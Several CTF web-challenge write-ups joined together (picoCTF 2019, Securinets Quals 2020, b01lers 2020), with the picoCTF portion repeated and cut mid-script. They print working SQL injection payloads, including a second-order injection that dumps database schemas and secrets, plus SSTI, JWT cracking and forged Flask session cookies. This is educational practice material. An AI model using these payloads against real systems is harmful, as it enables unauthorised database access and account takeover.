give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# CTFSecurinets Quals 2020 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2020 ## Empire Total **Category:** Web**Points:** 1000**Solves:** 7**Author:** TheEmperors**Description:** >In this task, you have to hack the website and get the flag from the database. This task doesn't need any brute force, you can read the source code : >`git clone https://github.com/mohamedaymenkarmous/virustotal-api-html` >For more information: read the description inside the task: >Link: https://web0.q20.ctfsecurinets.com **Hint:** > No hint. ### Write-upWhen you visit the task page, you will get this page So, this platform is scanning the IP addresses from Virus Total. And we can do that from this link [https://www.virustotal.com/gui/home/search](https://www.virustotal.com/gui/home/search). Let's try and scan an IP address. For example: `200.200.200.200` : [https://www.virustotal.com/gui/ip-address/200.200.200.200/relations](https://www.virustotal.com/gui/ip-address/200.200.200.200/relations). Which are basically the only information that we will need. This example was done directly on Virus Total. Now, we will do the same test on the task: The first thing that we will notice, if we keep the page longer without doing any request, we will get an invalid captcha error from the URL only when performing a new scan. Let's do again a new scan with the `200.200.200.200` IP address: The 2 results are the same. And the task goal is to retrieve the flag from the database which smells like an SQL injection. We don't need to worry about that because we will know about it when we start reviewing the source code from the Github project: [https://github.com/mohamedaymenkarmous/virustotal-api-html/tree/84be0189537a0b780d89a0e7b9c4e375f6893eb4](https://github.com/mohamedaymenkarmous/virustotal-api-html/tree/84be0189537a0b780d89a0e7b9c4e375f6893eb4). Since the idea is to get access to the database, we should try to find any vulnerability in the [www/index.php](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/www/index.php) and the [VirusTotal.py](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/VirusTotal.py) files. But after reviewing the www/index.php file, the `$_GET` parameter was sanitized and it should really match with a real IP address. Also the mysql queries are prepared with PDO. The captcha_response was not really sanitized but it would never help. Starting from here, we don't have nothing to exploit which is so sad. That's an impossible mission. But after reviewing the VirusTotal.py file, we was surprised about the SQL queries that were not prepared. But the IP address that is supposed to help us with the SQL injection is sanitized. So what to do ? Maybe we can perform the SQL injection from somewhere by back-tracking the fields that are inserted in the database and have a clue if we can proceed with the SQL injection from somewhere. By searching for recursively the parent method that is calling the methods that are executing the SQL queries, we will get to the main() method and by searching from where comes the data that is inserted in the database, we will get to this line [VirusTotal.py#L484](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/VirusTotal.py#L484) that is sending the sanitized IP address (received from the parent www/index.php page) to VirusTotal for scanning using the VirusTotal API [VirusTotal.py#L159](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/VirusTotal.py#L159). This is as expected from this platform which works as a gateway between the user and Virus Total by scanning the IP addresses that are set from the user. And what if we can perform the SQL injection using the result that are received from Virus Total ? According to the result that is returned after scanning the 200.200.200.200 IP address, we can notice that there are URL results. But how Virus Total get these URLs ? It's simple, you only need to scan the URL in Virus Total. The link should be alive with a HTTP status equal to 200. I searched for a website that can be accessible via URL to make it very easy so we can avoid websites that have a domain name that is resolved by multiple IP addresses. I found this URL: http://104.43.165.137/ It's content is not meaningful and I don't recommend anyone to access to strange IP address blindly because it can host a malicious website. To make the explanation easy, I will go straight to the point. To solved this task you need to download the Github project and do the following actions: - Edit the [database.sql](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/database.sql) file and replace the `---REDACTED---` information. Since this project works with 3 different mysql users, the task should be doing that. This trick will help with getting an environment similar to the task. Because having 3 users (each using with a permission: select, select+insert, update), will show us some limitations and restrictions about the query that we will be using to perform the SQL injection. - Install the project like adviced in the README. - Edit the newly created file config.json and add your newly created Virus Total API key and add the mysql credentials for the 3 users. - If possible, use some print() while debuging the VirusTotal.py script. - Run the script using `./VirusTotal "<IP>"`. For example: `./VirusTotal "104.43.165.140"` Since in the task, no errors are shown, we need to persist the result of the sql injection so we will be exploiting the insert query with the user that have the select+insert privileges. The first time, I was performing the SQL injection using a single query by inserting a single row and by escaping the rest of the query: `http://104.43.165.137/?id=1',database(),'')--`. But I got this error everytime I try to escape the INSERT query: ```http://104.43.165.137/?id=1',database(),'')--INSERT INTO vt_scanned_urls_table (ip_id,url,detections,scanned_time) VALUES ('36','http://104.43.165.137/?id=1',database(),'')--','<span>0</span>/76','2020-03-24 01:52:22')EXCEPTION: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--','<span>0</span>/76','2020-03-24 01:52:22')' at line 1``` Which means I can't escape it. I have to accept it and perform a clean INSERT SQL query even though this query works perfectly when using mysql CLI. So, the idea was to insert 2 rows in the same query by using: `INSERT INTO <table> (columns,...) VALUES (row1 values,...), (row2 values,...)`. When you will come to test your query on VirusTotal, you will notice that the `#` character is deleted. The space character is encoded so we can replace it with a comment `/**/`. That's all. We will try to find the current database for testing: `http://104.43.165.137/?id=1',database(),''),(28,'1` Please note that `28` is the foreigh key associated to the ips table which should be valid and we supposed it to be valid since there were no deleted rows from that table. Then, we scan the IP address in the Empire Total: This is the output generated from Virus Total directly since as explained under the form: when an IP address was not scanned in less than one minute, the result will be shown from VirusTotal directly. Otherwise, the results will be queried from the database and shown from there. But since the SQL injection is performed while inserting a customized query crafted from Virus Total, we can't see it the first time because it will not be queried from the database. But we will see it when we scan the IP address the second time while the one minute is not finished yet. After scanning the IP address the second time in less than one minute: We can confirm that we can see the database name `vt_scanned_ips_db`. So, we will be replacing the `database()` by another SELECT query to get all the database names so we can guess where is the flag: `select group_concat(distinct table_schema) from information_schema.tables` `http://104.43.165.137/?id=3%27,(select/**/group_concat(distinct/**/TABLE_SCHEMA)/**/from/**/information_schema.tables),%27%27),(28,%271` And this is the result: So, there is a secret database `MySecretDatabase`. Getting its tables: `select group_concat(table_name) from information_schema.tables where table_schema='MySecretDatabase'` `http://104.43.165.137/?id=4',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='MySecretDatabase'),''),(28,'1` So the table names were: `DefinitlyNotASecretTable,NotHere,NotThisOne,SameHere,SecretTable` separated with a `,`. Maybe the most interesting table is `SecretTable`. Let's get its columns before dumping its data: `select group_concat(column_name) from information_schema.columns where table_schema='MySecretDatabase' and table_name='SecretTable'` `http://104.43.165.137/?id=7',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='MySecretDatabase'/**/and/**/table_name='SecretTable'),(SELECT/**/USER())),(28,'1` So, the column names are `id,secret_name,secret_value` separated with a `,`. Let's get all the `secret_value` column values: `select group_concat(secret_value) from MySecretDatabase.SecretTable` `http://104.43.165.137/?id=8',(select/**/group_concat(secret_value)/**/from/**/MySecretDatabase.SecretTable),(SELECT/**/USER())),(1,'1` And that's how we get the flag. So the flag is `Securinets{EmpireTotal_Pwn3D_fr0m_Th3_0th3r_S1de}`. ### Other solutions For more intresting details see [this write-up from @github.com/kahla-sec/CTF-Writeups](https://github.com/kahla-sec/CTF-Writeups/blob/master/Securinets%20Prequals%202k20/Empire%20Total/README.md) ___ ## C2 Servers Hunting **Category:** OSINT**Points:** 919**Author:** TheEmperors**Description:** >The Emperor accidentally installed a malware that made him lose everything because his credentials got stolen. >After analyzing his computer, we found multiple network communications with these domains: >`c2-securinets-2020.info` >`c2-securinets-2020.ovh` >`c2-securinets-2020.com` >`c2-securinets-2020.site` >Could you try to find the owner of at least one of these domains ? >The flag is in the owner name. You will find the flag already in this format Securinets{}. If you didn't find this, so you didn't find the flag. ### Write-up We have 4 domains to search their owners as customers. The first thing that comes in mind is whois websites that we find on Google search. But, when we try to find the information related to these domains, we only find this: Which is kinda like poor. Even after searching the same domains on different whois websites, we find the same information. All the wanted information is REDACTED. Maybe there was a website that still have the information about the websites before it gets redacted. A website that keeps the registrars whois history. By searching on Google using `"whois history"`, we get the wanted website on the third page: And by searching on Duckduckgo, we get the same wanted website on the first page: This website is known for searching whois records especially for newly created domains from different registrars (not all of them): On Cyber Threat Analysis, this website is famous even if it doesn't always give the best results. But, most of the cases you will be happy from its results (I'm not promoting it). As explained on the task description, during this task, you need to use Ctrl+F to search for the flag format `Securinets{` to notice that you found the flag. After trying to query for the 4 domain names on Whoxy, only one domain will show the flag which is : `c2-securinets-2020.com`: https://www.whoxy.com/c2-securinets-2020.com So, the flag is `Securinets{Emper0r_Of_C2_Serv3rs}`.___ # Scoreboard This is the tasks list released on the CTF: And, this is the scoreboard and the rankin for the 50/430 teams that they solved at least one task in this CTF : If you need the Json file of the scoreboard, you can find it [here](https://www.majorleaguecyber.org/events/122/ctf-securinets-quals-2020/scoreboard.json?format=legacy)
# b01lers CTF 2020 – Scrambled * **Category:** web* **Points:** 200 ## Challenge > I was scanning through the skies. And missed the static in your eyes. Something blocking your reception. It's distorting our connection. With the distance amplified. Was it all just synthesized? And now the silence screams that you are gone. You've tuned me out. I've lost your frequency.> > http://web.ctf.b01lers.com:1002/ ## Solution Analyzing the webpage, two strange cookies can be discovered: * `frequency`;* `transmissions`. `frequency` is incremented at each refresh, `transmissions` contains a fixed part – at the beginning and at the end – and a variable part in the middle. ```kxkxkxkxshle22kxkxkxkxsh^^^^^^^^^^ ^^^^^^^^^^ fixed ^^^^ fixed variable``` If you enumerate a great amount of cookies, you can notice that the format of variable part is the following:* previous char of the flag;* actual char of the flag;* index of the actual char. So you can write a [script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/b01lers%20CTF%202020/Scrambled/scrambled.py) to retrieve all chars and compose the flag. ```python#!/usr/bin/python import reimport requestsimport urllib.parse target_endpoint = "http://web.ctf.b01lers.com:1002/"headers = { "User-Agent": "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);", }user_agent = "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);"noise = "kxkxkxkxsh" cookies = ""transmissions = []i = 0 # Reading transmissions.while len(transmissions) < 68: print("[*] Step {}.".format(i)) i += 1 if len(cookies) > 0: r = requests.get(target_endpoint, headers=headers, cookies=cookies) else: r = requests.get(target_endpoint, headers=headers) cookies = r.cookies transmission = None for cookie in cookies: print("[*] Found cookie: {}={}".format(cookie.name, cookie.value)) if cookie.name == "transmissions" and cookie.value != "0": transmission = urllib.parse.unquote(cookie.value.replace(noise, "")) if transmission is not None: print("[*] Transmission value: {}".format(transmission)) transmissions.append(transmission) transmissions = list(dict.fromkeys(transmissions)) # Removing duplicates. print("[*] Different transmissions read: ".format(len(transmissions))) print(len(transmissions))print(transmissions) # Composing flag.flag = "p"char_index = 0while flag == "" or flag[-1] != "}": for transmission in transmissions: index = transmission[2:] if index == str(char_index): flag += transmission[1] char_index += 1 print("[*] Composing flag: {}".format(flag)) break print("[*] The FLAG is: {}".format(flag))``` The flag is the following. ```pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_Demons}```
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var 